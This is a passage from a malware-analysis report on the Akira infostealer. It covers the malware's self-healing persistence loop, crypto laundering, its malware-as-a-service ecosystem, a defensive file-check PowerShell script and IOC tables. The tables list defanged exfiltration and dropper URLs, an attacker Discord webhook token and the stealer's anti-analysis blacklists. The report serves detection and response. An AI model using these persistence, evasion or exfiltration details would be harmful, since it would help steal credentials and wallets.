forensic retrieval. Post-infection imaging or host-based\r\nforensic recovery will not reveal the attacker’s URL or file host credentials, as no artifacts remain locally.\r\n7.13 Conclusion\r\nastor.py (Akira Stealer v2) is a comprehensive, commercially distributed stealer toolkit. It combines extensive targeting,\r\nsophisticated anti-analysis, dynamic infrastructure control, and full-stack data theft across credentials, crypto, system\r\nprofiling, and user files. Its modularity and stealth, combined with rapid reinfection methods, make it one of the most\r\ntechnically advanced stealers observed in active deployment.\r\n8. Circular Execution Chain: A Self-Healing Loop\r\nOne of the most technically sophisticated elements of this campaign is its regenerative, circular execution model. Unlike\r\nconventional malware with linear stages that flow from dropper to payload and then vanish, this operation was engineered\r\nlike a closed loop — where every component watches over the others.\r\nThis self-healing architecture made the infection chain not only persistent, but also autonomous. It could fully recover\r\nfrom partial removals. As long as one piece remained alive, the entire malware ecosystem could reassemble itself.\r\n8.1 Behavioral Breakdown\r\n1. Persistence Anchor ( Updater.exe ) Updater.exe acts as the foundational foothold. It is typically dropped into a\r\nWindows user startup location, such as %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup , or\r\nregistered via HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run . Its job is simple but critical: ensure\r\nmain.exe is present and launch it silently during user logon. If main.exe is missing, it re-extracts the archive\r\napp-64.7z (located in a temp folder or dropped anew), regenerating the full Electron app structure.\r\n2. Bridge Loader ( main.exe ) main.exe is the Electron-wrapped Node.js application. It doesn’t expose any GUI\r\nand operates entirely in the background. Upon execution, it runs the embedded JavaScript logic within app.asar ,\r\nusing Node.js as a runtime environment. This abstraction layer decouples the core logic from the PE stub, helping\r\nto evade traditional analysis.\r\n3. Execution Orchestrator ( jscryter.js ) Embedded within app.asar , this is the true controller of the infection\r\nchain. Its key functions include:\r\nChecking for the presence of Updater.exe and redeploying it if missing\r\nDynamically injecting runtime configuration: webhook URLs, C2 addresses, tokens\r\nEither invoking the already-present Python payload ( astor.py ) or downloading it as part of a ZIP bundle\r\n(e.g., pyth.zip ) from attacker-controlled infrastructure\r\n4. Payload Execution ( astor.py ) Once triggered, astor.py executes in memory via python.exe . It\r\nsystematically collects saved credentials, cookies, Discord tokens, browser session data, and cryptocurrency wallet\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 60 of 72\n\nextensions. The data is staged in a ZIP archive and exfiltrated via HTTPS — commonly to Discord webhooks, but\r\nfallback APIs like gofile.io or custom C2 endpoints have also been observed.\r\n5. Loop Integrity and Self-Healing The design is circular. If Updater.exe is deleted, it will be redeployed. If\r\nmain.exe is missing, Updater.exe re-extracts it from app-64.7z . If astor.py is deleted, it is re-obtained by\r\nthe JavaScript layer. This interdependency makes the malware resilient and capable of reconstructing its execution\r\nchain from virtually any surviving fragment.\r\nThis architecture is not just modular — it’s self-sustaining, deliberately engineered for stealth, flexibility, and long-term\r\nsurvivability in target environments.\r\n8.2 Why This Is Noteworthy\r\nThe campaign’s architectural design reflects a level of sophistication not typically seen in commodity infostealers. It goes\r\nbeyond simple multi-stage loaders — this is malware engineered for operational resilience, stealth, and automation.\r\nKey Characteristics\r\nFull Autonomy Once deployed, the malware requires no user interaction or external reactivation. It acts like a\r\nmalicious microservice — orchestrating its own persistence, payload execution, and repair routines without external\r\ncontrol.\r\nMulti-Language Execution Stack The toolchain integrates:\r\nPE Binaries ( Updater.exe , main.exe )\r\nNode.js / JavaScript (via Electron)\r\nPowerShell (used for obfuscated payload relay)\r\nPython ( astor.py , executed as memory-resident stealer) This layered composition makes it harder to\r\nprofile, fingerprint, and analyze using conventional static tools.\r\nDefense Evasion by Design Every component is encoded, encrypted, or dynamically injected:\r\nBase64 PowerShell relay\r\nAES-encrypted and GZIP-compressed Python core\r\nObfuscated JavaScript with runtime token injection\r\nSelf-healing behavior that frustrates partial removal\r\nNo Single Point of Failure The malware’s self-repair logic ensures that removal of a single component is\r\ninsufficient. If Updater.exe is removed, the info stealer recreates it. If astor.py is deleted, it is redownloaded\r\nand redeployed by the JavaScript controller.\r\nIn short, the malware behaves more like a distributed system than a typical payload — one that prioritizes survivability,\r\nmodularity, and stealth.\r\nThis elevates the threat from an opportunistic attack to a resilient, adaptive platform — requiring defenders to match its\r\ncomplexity with equally layered detection and response strategies.\r\n8.3 Implications for Blue Teams\r\nFor defenders and CSOC operators, this kind of architecture raises the bar:\r\nPartial cleanup is ineffective. All nodes must be identified and removed simultaneously.\r\nDefender for Endpoint correlation is essential. Analysts must trace full chains: from Updater.exe → cmd.exe\r\n→ powershell.exe → python.exe .\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 61 of 72\n\nIOC-free persistence means memory-based heuristics, telemetry baselining, and chain-based detection are key.\r\nThis isn’t just a stealer. It’s a resilient malware platform — behaving more like a distributed system than a simple threat.\r\nAnd that’s exactly what makes it both impressive and dangerous.\r\n9. Blockchain Tracking and Analysis\r\n9.1 Tracing Fund Distribution in a Litecoin-Based Malware Campaign\r\nDuring the reverse engineering phase of this malware campaign, we extracted multiple hardcoded wallet addresses used by\r\nthe stealer for cryptocurrency exfiltration. By following the on-chain activity of these Litecoin wallets, we were able to\r\nuncover patterns indicative of deliberate money laundering tactics. The attacker-controlled wallet LW6EopiZ... acts as a\r\ncentral aggregation point. Funds stolen from multiple victims are funneled into this address, after which they are rapidly\r\nredistributed across multiple new addresses.\r\nThe behavior seen here is representative of a classic split-transfer pattern used in crypto tumbling or mixing operations. In\r\neach instance, the full incoming balance is divided into two roughly proportional outbound transactions, each sent to a\r\ndifferent wallet. This strategy is designed to hinder address clustering and chain tracing by obfuscating the provenance of\r\nfunds. It’s an effective tactic to evade detection by automated blockchain analytics and threat intelligence platforms.\r\nThis laundering behavior leverages a combination of transaction timing, precise value splitting, and address reuse\r\nminimization to bypass heuristics commonly applied by clustering algorithms like those used in GraphSense, Chainalysis,\r\nor TRM Labs. The overall intent is to create high-entropy transactional flows, which confuse attribution and disrupt\r\nlinkability, especially when the funds are eventually bridged across other assets or swapped into privacy-focused coins.\r\nIn the example below, we show a structured subset of this behavior. The incoming transactions represent distinct victim\r\ntransfers. These values are then perfectly mapped to outbound flows, showing the coins being \"washed\" through fast,\r\npredictable, and algorithmically split payouts.\r\nInput\r\nSource\r\nInput\r\nDate\r\nAmount In\r\n(LTC)\r\n→ Attacker\r\nWallet\r\nOutput Addresses\r\nTotal Out\r\n(LTC)\r\nInput_1\r\n2024-\r\n09-21\r\n0.25339198 LLQtaBnSAF...\r\n- LZmHkgkED... (0.15579078,\r\n2024-09-26)\r\n- M8JpDsw5H7... (0.09760120,\r\n2024-09-26)\r\n0.25339198\r\nInput_2\r\n2024-\r\n04-16\r\n1.09976044 LLQtaBnSAF...\r\n- LgWrCAF8ED... (0.84304664,\r\n2024-06-13)\r\n- LgWrCAF8ED... (0.25671380,\r\n2024-06-13)\r\n1.09976044\r\nInput_3\r\n2024-\r\n03-06\r\n0.77089346 LLQtaBnSAF...\r\n- LZL3wQcSRP... (0.38544673,\r\n2024-03-04)\r\n- M8kiBpVHG3... (0.38544673,\r\n2024-03-04)\r\n0.77089346\r\nInput_4 2024-\r\n03-06\r\n0.77089346 LLQtaBnSAF... - LUFLTrqYpix...\r\n(0.38544673, 2024-03-04)\r\n0.77089346\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 62 of 72\n\n- La22dfH9eM... (0.38544673,\r\n2024-03-04)\r\n10. Inside the Akira Ecosystem – Commercialized Cybercrime Infrastructure\r\nAkira is not just a stealer—it’s the centerpiece of a thriving underground ecosystem designed to simplify, scale, and\r\nmonetize cybercrime.\r\n10.1 A Plug-and-Play Ecosystem for Threat Actors\r\nThe Akira ecosystem exemplifies the evolution of cybercrime into a professionalized, service-driven economy. It includes:\r\nBuilder Bots for on-demand payload generation (e.g., @AkiraRedBot )\r\nTelegram channels for updates, feature requests, and customer support\r\nAutomated licensing and payment handling, often via direct messages or anonymous e-commerce platforms like\r\nSellix\r\nBundled modules such as clipboard hijackers, Discord token loggers, browser data stealers, and even ransomware\r\nadd-ons\r\nCustomizable payloads with configuration interfaces allowing toggles, webhook input, and icon branding\r\n10.2 Commercialization of Cybercrime\r\nAkira's structure reflects a broader movement toward \"Malware-as-a-Service\" (MaaS), where:\r\nNo deep technical skill is required to launch attacks\r\nLow entry costs ($75 for 3 months, $150 for lifetime)\r\nInstant support and documentation through Telegram\r\nCommunity contributions regularly extend Akira with scripts and feature suggestions\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 63 of 72\n\nThis ecosystem mirrors legitimate SaaS business models — with changelogs, UX improvements, pricing tiers, and upsells.\r\n10.3 Beyond the Stealer – The Ecosystem's Components\r\nWhile astor.py is the heart of many attacks, the ecosystem provides a full chain:\r\nObfuscation tools like PyInstaller wrappers\r\nFile binders for coupling malicious payloads with benign software\r\nCompilers, crypters, and runtime polymorphism\r\nHosting mirrors for payload delivery and exfiltration (e.g., GoFile, AnonFiles)\r\nData management bots that summarize stolen credentials and hardware profiles\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 64 of 72\n\n11. Akira Stealer QuickCheck affected files\r\n11.1 What Is This For?\r\nAfter a suspected Akira Stealer infection, it's critical to know immediately which files on your system were at risk of\r\nexfiltration. The QuickCheck PowerShell script outlined above replicates Akira's exact search logic: it scans the user's\r\nDesktop, Documents, Downloads, and OneDrive folders for files that:\r\nContain sensitive keywords in their filename, such as password , wallet , backup , or token\r\nHave specific extensions commonly targeted (.txt, .docx, .pdf, .jpg, etc.)\r\nAre under the 2 MB size limit imposed by the malware\r\nWhile QuickCheck offers a rapid overview based on Akira Stealer’s internal logic, it is not a substitute for comprehensive\r\nforensic tools or professional incident response. Always follow up with deeper analysis when dealing with confirmed\r\nbreaches.\r\nIt then presents a sorted table of Filename, Relative Path, Size (KB) and the trigger keyword.\r\nDISCLAIMER This tool is provided “as is” without any warranty of completeness or fitness for a particular\r\npurpose. It does not guarantee detection of all potentially sensitive files, nor does it replace full malware\r\nforensics. Use at your own risk.\r\nLegal Notice\r\nThis QuickCheck Utility is intended for defensive security assessments only. Any unauthorized scanning or usage on\r\nsystems you do not own may violate privacy, copyright, or computer misuse laws. glueckkanja AG assumes no liability\r\nfor misuse or damages resulting from its use.\r\nPowerShell Script\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 65 of 72\n\n\u003c#\r\n.SYNOPSIS\r\n QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\r\n.DESCRIPTION\r\n Scans Desktop, Documents, Downloads and OneDrive for files that:\r\n • Contain one of the defined keywords in their name\r\n • Have an allowed file extension\r\n • Are not larger than 2 MB\r\n Presents the results in a colored, tabular overview.\r\n.NOTES\r\n © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\r\n#\u003e\r\n# -------------------------------------\r\n# 1. Configuration\r\n# -------------------------------------\r\n$scanFolders = @(\r\n \"$env:USERPROFILE\\Desktop\",\r\n \"$env:USERPROFILE\\Documents\",\r\n \"$env:USERPROFILE\\Downloads\",\r\n \"$env:USERPROFILE\\OneDrive\"\r\n)\r\n$keywords = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\r\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\r\n$maxSize = 2MB\r\n# -------------------------------------\r\n# 2. Scan and Collect Matches\r\n# -------------------------------------\r\n$matches = [System.Collections.Generic.List[PSObject]]::new()\r\nforeach ($folder in $scanFolders) {\r\n if (-not (Test-Path $folder)) { continue }\r\n Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\r\n # 2.1 Extension filter\r\n if ($extensions -notcontains $_.Extension.ToLower()) { return }\r\n # 2.2 Size filter\r\n if ($_.Length -gt $maxSize) { return }\r\n # 2.3 Keyword filter: explicit loop to avoid null-method calls\r\n $hit = $null\r\n foreach ($kw in $keywords) {\r\n if ($_.Name.ToLower().Contains($kw)) {\r\n $hit = $kw\r\n break\r\n }\r\n }\r\n if (-not $hit) { return }\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 66 of 72\n\n# 2.4 Build relative path\r\n $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\r\n # 2.5 Collect\r\n $matches.Add([PSCustomObject]@{\r\n FileName = $_.Name\r\n Location = $rel\r\n 'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\r\n Keyword = $hit\r\n })\r\n }\r\n}\r\n# -------------------------------------\r\n# 3. Display Results\r\n# -------------------------------------\r\nclear\r\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\r\nWrite-Host \"──────────────────────────────────────────────────────\r\nif ($matches.Count -gt 0) {\r\n $matches |\r\n Sort-Object Location, FileName |\r\n Format-Table -AutoSize `\r\n @{Label='File'; Expression={$_.FileName}},\r\n @{Label='Location'; Expression={$_.Location}},\r\n @{Label='Size (KB)'; Expression={$_. 'Size (KB)'}},\r\n @{Label='Keyword'; Expression={$_.Keyword}}\r\n Write-Host \"`n⚠️ Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\r\n}\r\nelse {\r\n Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\r\n}\r\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\r\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full fore\r\n12. Beyond Response – How glueckkanja CSOC Turns Incidents into Insights\r\nMost security operations centers stop at containment. We don’t.\r\nAt glueckkanja CSOC, we believe incident response isn’t the finish line—it’s the starting point.\r\nWhen others declare victory and move on, we dive deeper. For us, each incident is an opportunity to learn, adapt, and\r\nbecome stronger. Our relentless curiosity, fueled by years of deep forensic expertise and reverse engineering capability,\r\nensures we don’t just defend—we anticipate.\r\nThis philosophy is why we built the Akira Compromise Reporter.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 67 of 72\n\nFar beyond basic detection, this internally developed forensic tool uses our intimate knowledge of the Akira Stealer to\r\nprovide absolute clarity on what data has been compromised. Within minutes, it produces a precise, actionable snapshot of\r\nthe incident's full impact:\r\nExactly which credentials, tokens, and browser sessions were stolen.\r\nPrecisely which cryptocurrency wallets, messaging accounts, and files were exposed.\r\nA clear, structured, and detailed forensic report—transforming uncertainty into immediate, informed action.\r\nBecause at glueckkanja, we measure our success not just by threats blocked, but by clarity provided. ybersecurity, done\r\nright, isn’t about simply reacting to incidents—It’s about understanding, adapting, and always staying one step ahead.\r\nThat’s the glueckkanja CSOC difference.\r\n13. Indicators of Compromise (IOCs)\r\nBelow is a comprehensive, verbatim collection of IOCs extracted directly from the malware code during our internal\r\nreverse engineering process at glueckkanja CSOC. No assumptions or external threat intel sources were used — all\r\nindicators are confirmed findings. All URLs are deliberately obfuscated to prevent accidental clicks.\r\nAbbreviations:\r\nTG: Telegram reporting channel\r\nAlt: Alternate (fallback) endpoint\r\n1. Domains \u0026 URLs\r\nCategory Obfuscated URL Description\r\nPrimary\r\nInjection\r\nhttps[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]phpInitial attacker webhook\r\nendpoint\r\nFallback\r\nInjection\r\nhttps[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]phpAlternate injector\r\nendpoint\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 68 of 72\n\nError\r\nReporting (TG)\r\nhttps[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]phpTelegram error/log\r\nreporting URL\r\nError\r\nReporting (Alt)\r\nhttps[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]phpAlternate error/log\r\nreporting URL\r\nVanity Bot\r\n(TG)\r\nhttps[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]phpVanity address\r\nnotification endpoint\r\nVanity Bot\r\n(Alt)\r\nhttps[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]phpAlternate vanity\r\nnotification endpoint\r\nExodus\r\nInjection\r\nhttps[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asarElectron Exodus app\r\nmodule\r\nAtomic\r\nInjection\r\nhttps[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asarElectron AtomicWallet\r\nmodule\r\nUpdater\r\nDownload\r\nhttps[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exePersistence dropper\r\nexecutable\r\nGofile API List https[:]//api.gofile[.]io/servers\r\nRetrieves best GoFile\r\nupload server\r\nDiscord Token\r\nCheck\r\nhttps[:]//discordapp[.]com/api/v9/users/@me\r\nValidates stolen Discord\r\ntoken\r\nDiscord Billing\r\nInfo\r\nhttps[:]//discord[.]com/api/users/@me/billing/payment-sources\r\nRetrieves billing\r\nmethods\r\nGoogle OAuth\r\nReplay\r\nhttps[:]//accounts[.]google[.]com/oauth/multilogin\r\nReplays stolen Google\r\nsession tokens\r\nIP Check\r\n(hosting)\r\nhttp[:]//ip-api[.]com/line/?fields=hosting\r\nHosting environment\r\ndetection\r\nIP Lookup\r\n(geo)\r\nhttp[:]//ip-api[.]com/json/{ip} Geolocation by IP\r\nPublic IP\r\nRetrieval\r\nhttps[:]//api[.]ipify[.]org\r\nFetches external IP\r\naddress\r\nFile.io Upload https[:]//file[.]io/\r\nSecondary exfiltration\r\nchannel\r\nOshi.at Upload http[:]//oshi[.]at/\r\nTertiary exfiltration\r\nchannel\r\nJS Dropper\r\nPrimary\r\nhttps[:]//rentry[.]co/7vzd22fg36hfdd33/raw\r\nRemote reference to\r\nactual ZIP URL\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 69 of 72\n\nJS Dropper\r\nFallback 1\r\nhttps[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip Alternative payload ZIP\r\nJS Dropper\r\nFallback 2\r\nhttps[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip\r\nSecondary fallback\r\npayload ZIP\r\n2. Cryptocurrency Addresses\r\nCurrency Address\r\nBTC bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt\r\nETH 0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5\r\nDOGE DACeoqWDPmNARSZAeDZPFwqwecbByaksmd\r\nLTC LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH\r\nXMR 4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D\r\nBCH qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs\r\nDASH XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1\r\nTRX TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK\r\nXRP r36AwwhUH7BRujevi5mukbDrG46KGbTk8V\r\nXLM GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33\r\n3. Registry Keys / Paths\r\nRegistry Path Purpose\r\nHKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDescChecks for virtual\r\nGPU driver signature\r\nHKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderNameChecks for virtual\r\nGPU provider name\r\nHKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run (value Realtek Audio)\r\nPersistence via Run\r\nkey (Updater.exe)\r\n%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe Persistence Executable\r\n5. Files \u0026 Hashes\r\nFilename SHA256 Size (bytes)\r\napp-64.7z 331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380 63936274\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 70 of 72\n\nmain.exe C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B 162036224\r\njscrypter.js 0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF 1429\r\nobf.js 1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343 30138\r\ninput.js E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7 7155\r\npackage.json 972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6 211\r\nastor.py 850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4 205210\r\nexodus.asar 6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB 132486332\r\npow.bat 10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910 28454\r\ndownload.dat C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B 21142\r\npyth.zip E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7 32375391\r\nUpdater.exe 36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0 37652937\r\n5. Discord \u0026 Telegram Identifier\r\nCategory Value\r\nDiscord Webhook ID 1226766972675428372\r\nDiscord Webhook Token BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz\r\nTelegram ID 5035121855\r\n14. Reflecting on the Akira Stealer Incident: Strengthening Your Defense with\r\nglueckkanja CSOC\r\nThroughout this blog, we've explored the sophisticated nature of the Akira Infostealer—an advanced cyber threat\r\ncharacterized by targeted credential theft, stealthy data exfiltration, and persistent methods to evade traditional defenses.\r\nUnderstanding how this malware functions, the risks it poses, and the vulnerabilities it exploits is crucial in building a\r\nrobust cybersecurity strategy.\r\nThe Akira Infostealer specifically targets sensitive data such as login credentials, browser sessions, cryptocurrency wallets,\r\nmessaging services, and personal or organizational files. Its calculated and precise methods demand more than just\r\nstandard security measures—they require continuous monitoring, in-depth forensic analysis, and proactive threat\r\nintelligence.\r\nAt glueckkanja CSOC, we leverage our deep technical expertise and advanced analytical capabilities to go beyond simple\r\ndetection. Our specialized team continually monitors threats in real-time from our dedicated CSOC servers, enabling\r\nimmediate identification, thorough investigation, and effective neutralization of threats like the Akira Infostealer.\r\nBut our work doesn’t stop at incident response. Every detected incident enriches our knowledge base, enhancing our\r\nsecurity posture and ensuring we remain several steps ahead of future threats. With glueckkanja CSOC, you gain more\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 71 of 72\n\nthan protection—you gain an adaptive security partner committed to your long-term resilience.\r\nTake the next step in securing your organization's digital assets.\r\nContact glueckkanja's cybersecurity experts today, and let’s proactively secure your future together.\r\nEmpower your defense with glueckkanja CSOC.\r\n15. Security \u0026 Legal Disclaimer – Use of Real Malware Code\r\nThis publication contains detailed technical insights, including code excerpts and behavioral breakdowns derived from\r\nactual malicious software discovered during incident response and forensic investigations. The purpose of sharing this\r\ninformation is strictly educational, intended to help professional defenders understand, detect, and respond to real-world\r\nthreats more effectively. We publish this in good faith and with the intent to contribute to the broader security community.\r\nIt is important to note that portions of the included code originate from threat actor toolkits and malware samples\r\ncirculating in the wild. These fragments are not our intellectual property, nor are they to be considered safe, sanitized, or\r\notherwise \"harmless.\" The reproduction or operational use of any such code is explicitly discouraged. Readers must\r\nunderstand that while this material serves a research and awareness function, it inherently carries a risk profile that should\r\nnot be underestimated.\r\nOnly trained professionals operating within legally authorized environments—such as accredited security teams, SOC\r\nunits, academic researchers, or malware labs—should engage with the techniques or code described. All experimentation\r\nmust be confined to isolated, non-production systems, and comply with applicable laws, internal policies, and ethical\r\nstandards.\r\nWe do not provide support or validation for any reproduced code or behavior. There is no guarantee of accuracy, relevance,\r\nor completeness. Furthermore, we explicitly reject any use of this content for offensive purposes, unauthorized red\r\nteaming, commercial malware development, or adversarial testing outside a legally defined scope. Any misuse may lead to\r\nlegal consequences. glueckkanja AG disclaims all responsibility for direct or indirect damages arising from the use or\r\nmisinterpretation of this content.\r\nBy continuing to read or reference this content, you acknowledge the above and agree not to misuse, replicate, or apply\r\nany part of it in unlawful or unethical contexts. When in doubt, consult your legal, compliance, or data protection office\r\nbefore engaging with live code analysis or similar technical material.\r\nThis publication is provided \"as is,\" without warranty, support, or liability.\r\nSource: https://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 72 of 72\n\nBlacklisted Computer BLACKLISTED_COMPUTERNAMES Names = (  \n'00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs', \n'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076', \n'desktop-vkeons4', 'NTT-EFF-2W11WSS'  \n)   \nBlacklisted User Accounts  \nBLACKLISTED_USERS = (  \n'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n'harry johnson', 'j.seance', 'a.monaldo', 'tvm' \n)   \nBlacklisted Analysis‐Tool Processes  \nBLACKLISTED_TASKS = (  \n'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol', \n'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n'discordtokenprotector', 'glasswire', 'requestly' \n)   \nCore Detection Methods  \n   Page 32 of 72\n\n5. Files Filename \u0026 Hashes SHA256  Size (bytes)\napp-64.7z 331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380  63936274\n  Page 70 of 72",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach"
	],
	"report_names": [
		"2025-06-16-quiet-breach"
	],
	"threat_actors": [
		{
			"id": "0661a292-80f3-420b-9951-a50e03c831c0",
			"created_at": "2023-01-06T13:46:38.928796Z",
			"updated_at": "2026-04-10T02:00:03.148052Z",
			"deleted_at": null,
			"main_name": "IRIDIUM",
			"aliases": [],
			"source_name": "MISPGALAXY:IRIDIUM",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "9f101d9c-05ea-48b9-b6f1-168cd6d06d12",
			"created_at": "2023-01-06T13:46:39.396409Z",
			"updated_at": "2026-04-10T02:00:03.312816Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"CHROMIUM",
				"ControlX",
				"TAG-22",
				"BRONZE UNIVERSITY",
				"AQUATIC PANDA",
				"RedHotel",
				"Charcoal Typhoon",
				"Red Scylla",
				"Red Dev 10",
				"BountyGlad"
			],
			"source_name": "MISPGALAXY:Earth Lusca",
			"tools": [
				"RouterGod",
				"SprySOCKS",
				"ShadowPad",
				"POISONPLUG",
				"Barlaiy",
				"Spyder",
				"FunnySwitch"
			],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "8c8fea8c-c957-4618-99ee-1e188f073a0e",
			"created_at": "2024-02-02T02:00:04.086766Z",
			"updated_at": "2026-04-10T02:00:03.563647Z",
			"deleted_at": null,
			"main_name": "Storm-1567",
			"aliases": [
				"Akira",
				"PUNK SPIDER",
				"GOLD SAHARA"
			],
			"source_name": "MISPGALAXY:Storm-1567",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "9041c438-4bc0-4863-b89c-a32bba33903c",
			"created_at": "2023-01-06T13:46:38.232751Z",
			"updated_at": "2026-04-10T02:00:02.888195Z",
			"deleted_at": null,
			"main_name": "Nitro",
			"aliases": [
				"Covert Grove"
			],
			"source_name": "MISPGALAXY:Nitro",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "a2b44a04-a080-4465-973d-976ce53777de",
			"created_at": "2022-10-25T16:07:23.911791Z",
			"updated_at": "2026-04-10T02:00:04.786538Z",
			"deleted_at": null,
			"main_name": "Nitro",
			"aliases": [
				"Covert Grove",
				"Nitro"
			],
			"source_name": "ETDA:Nitro",
			"tools": [
				"AngryRebel",
				"Backdoor.Apocalipto",
				"Chymine",
				"Darkmoon",
				"Farfli",
				"Gen:Trojan.Heur.PT",
				"Gh0st RAT",
				"Ghost RAT",
				"Moudour",
				"Mydoor",
				"PCClient",
